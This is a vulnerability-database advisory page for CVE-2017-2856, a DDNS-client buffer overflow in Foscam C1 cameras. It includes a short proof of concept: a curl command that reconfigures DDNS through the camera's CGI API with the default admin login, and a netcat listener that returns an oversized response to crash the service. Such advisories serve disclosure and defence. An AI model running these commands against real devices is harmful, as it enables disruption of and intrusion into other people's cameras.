Lucene search
K

Foscam IP Video Camera webService dyndns.com DDNS Client Code Execution Vulnerability(CVE-2017-2856)

🗓️ 14 Nov 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 57 Views

Foscam C1 Camera DDNS Client Buffer Overflo

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-2856
18 Sep 201800:18
circl
CNVD
Foscam C1 Indoor HD Camera DDNS Client Buffer Overflow Vulnerability (CNVD-2017-34262)
15 Nov 201700:00
cnvd
CVE
CVE-2017-2856
17 Sep 201820:00
cve
Cvelist
CVE-2017-2856
17 Sep 201820:00
cvelist
EUVD
EUVD-2017-11997
7 Oct 202500:30
euvd
NVD
CVE-2017-2856
17 Sep 201820:29
nvd
OSV
CVE-2017-2856
17 Sep 201820:29
osv
Prion
Buffer overflow
17 Sep 201820:29
prion
Talos
Foscam IP Video Camera webService dyndns.com DDNS Client Code Execution Vulnerability
13 Nov 201700:00
talos
Talos Blog
Vulnerability Spotlight: Multiple Vulnerabilities in Foscam C1 Indoor HD Cameras
13 Nov 201707:43
talosblog
Rows per page

                                                Prerequisite for this attack is that the device is setup to use the DDNS number 4. For this, the following query can be used:

```
$ sUsr="admin"
$ sPwd=""
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=setDDNSConfig&isEnable=1&hostName=x&ddnsServer=4&user=x&password=x"
```
To trigger the vulnerability, an attacker needs to be able to intercept the device's HTTP requests and answer with a malicious payload. The following command will make the service crash.
```
$ sudo nc -l -p 80 <<< $( python2 -c 'print "200 OK\r\n\r\nCurrent IP Address: "+"A"*900+"<"' )
```
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation